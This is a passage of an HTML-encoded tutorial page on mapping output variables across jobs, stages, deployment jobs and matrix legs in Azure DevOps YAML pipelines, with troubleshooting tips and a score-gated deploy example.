style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='116' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='148' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='148' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='132' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='116' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='196' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='148' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='196' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='148' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='196' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='196' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='148' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003eIf the producer is a \u003cstrong\u003eDeployment Job\u003c/strong\u003e, the syntax requires the lifecycle hook name (usually \u003ccode\u003eDeploy\u003c/code\u003e) to be included twice:\n\u003ccode\u003e$[ stageDependencies.Prod.DeployJob.outputs['Deploy.StepName.VarName'] ]\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"32-short-circuiting-the-syntax\"\u003e3.2: Short-circuiting the Syntax\u003c/h3\u003e\n\u003cp\u003eFor complex pipelines, the \u003ccode\u003estageDependencies\u003c/code\u003e string can become unreadable. You can simplify this by mapping the outputs into stage-level variables. This creates a \u0026ldquo;Global Manifest\u0026rdquo; where the first stage produces a JSON object, and all subsequent stages ingest it using a shorter, local reference.\u003c/p\u003e\n\u003ch2 id=\"4-communication-in-dynamic-matrices\"\u003e4. Communication in Dynamic Matrices\u003c/h2\u003e\n\u003cp\u003eMatrix jobs present a unique challenge: they produce multiple versions of the same variable name.\u003c/p\u003e\n\u003ch3 id=\"41-the-matrix-key-problem\"\u003e4.1: The Matrix Key Problem\u003c/h3\u003e\n\u003cp\u003eWhen Job A is a matrix, Azure DevOps appends the matrix key to the job name in the dependency object. To access a specific instance, you must use the key: \u003ccode\u003edependencies.JobA.outputs['Linux_Leg.TaskName.VariableName']\u003c/code\u003e.\u003c/p\u003e\n\u003ch3 id=\"42-aggregating-matrix-results\"\u003e4.2: Aggregating Matrix Results\u003c/h3\u003e\n\u003cp\u003eIf you need to combine outputs from 50 matrix legs into one manifest, do not attempt to map 50 variables. Instead, have each matrix leg upload its result as a small \u003cstrong\u003ePipeline Artifact\u003c/strong\u003e. Your collector job then downloads all artifacts and uses a script to merge them into a single file. This avoids the 1MB limit for output variables and handles dynamic counts gracefully.\u003c/p\u003e\n\u003ch2 id=\"5-troubleshooting-empty-variables\"\u003e5. Troubleshooting Empty Variables\u003c/h2\u003e\n\u003cp\u003eIf your variable is coming up as \u003ccode\u003enull\u003c/code\u003e or empty, follow this checklist:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eCheck the Producer Status:\u003c/strong\u003e Did the producing task actually run? If a task is skipped due to a condition, its outputs are never created.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVerify the Name:\u003c/strong\u003e Is the \u003ccode\u003ename:\u003c/code\u003e of the producing task exactly matching the key in your \u003ccode\u003e$[ ]\u003c/code\u003e expression?\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTiming Check:\u003c/strong\u003e Are you trying to access the variable at compile-time (\u003ccode\u003e${{ }}\u003c/code\u003e)? Cross-job variables are \u003cstrong\u003eruntime only\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eThe JSON Dump:\u003c/strong\u003e Add a script to your consuming job to \u003ccode\u003eecho \u0026quot;##[debug]$(dependencies)\u0026quot;\u003c/code\u003e. This will print the entire available context to the logs, allowing you to see exactly which keys and values the orchestrator has resolved.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"hands-on-example-the-artifact-handover\"\u003eHands-On Example: The \u0026ldquo;Artifact Handover\u0026rdquo;\u003c/h2\u003e\n\u003cp\u003eConsider a pipeline where Stage 1 calculates a \u003ccode\u003eVulnerabilityScore\u003c/code\u003e. Stage 2 (Deploy) only runs if the score is less than 10.\u003c/p\u003e\n\u003ch4 id=\"the-artifact-handover-pattern\"\u003eThe Artifact Handover Pattern\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 680 201\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 328,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,112 L 392,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 496,112 L 584,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,176 L 328,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,48 L 80,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,112 L 336,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,16 L 592,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,168 L 592,184' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,176.000000 84.000000,170.399994 84.000000,181.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,48.000000 324.000000,42.400002 324.000000,53.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 48.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='592.000000,112.000000 580.000000,106.400002 580.000000,117.599998' fill='currentColor' transform='rotate(0.000000, 584.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='84' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='84' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003e\u0026lt;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='116' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='148' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='148' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='164' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='148' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='164' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        score=5 # Logic to calculate\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e        echo \u0026#34;##vso[task.setvariable variable=score;isOutput=true]$score\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSecurityCheck\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elt(stageDependencies.Build.Scan.outputs[\u0026#39;SecurityCheck.score\u0026#39;], 10)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ePush\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e./deploy.sh\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eAlways use \u003ccode\u003eisOutput=true\u003c/code\u003e\u003c/strong\u003e for data that needs to leave the agent.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDeclare \u003ccode\u003edependsOn\u003c/code\u003e\u003c/strong\u003e to open the communication channel.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUse \u003ccode\u003e$[ ]\u003c/code\u003e for all cross-job mapping\u003c/strong\u003e; never use \u003ccode\u003e$( )\u003c/code\u003e for these values.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNamespace your variables:\u003c/strong\u003e Stage -\u0026gt; Job -\u0026gt; Task -\u0026gt; Variable. This hierarchy ensures your data flow is predictable and easy to debug.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/variables#set-a-multi-job-output-variable\"\u003eMicrosoft Learn: Set and access variables between jobs\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/expressions#stagedependencies-context\"\u003eMicrosoft Learn: stageDependencies reference\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/\"\u003eOfficial Azure DevOps Blog: Advanced Variable Mapping Patterns\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/azure-pipelines-tasks\"\u003eGitHub: Best practices for multi-stage YAML pipelines\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Master the flow of data between jobs and stages in Azure DevOps. Learn how to correctly map output variables using the dependencies and stageDependencies contexts for complex CI/CD 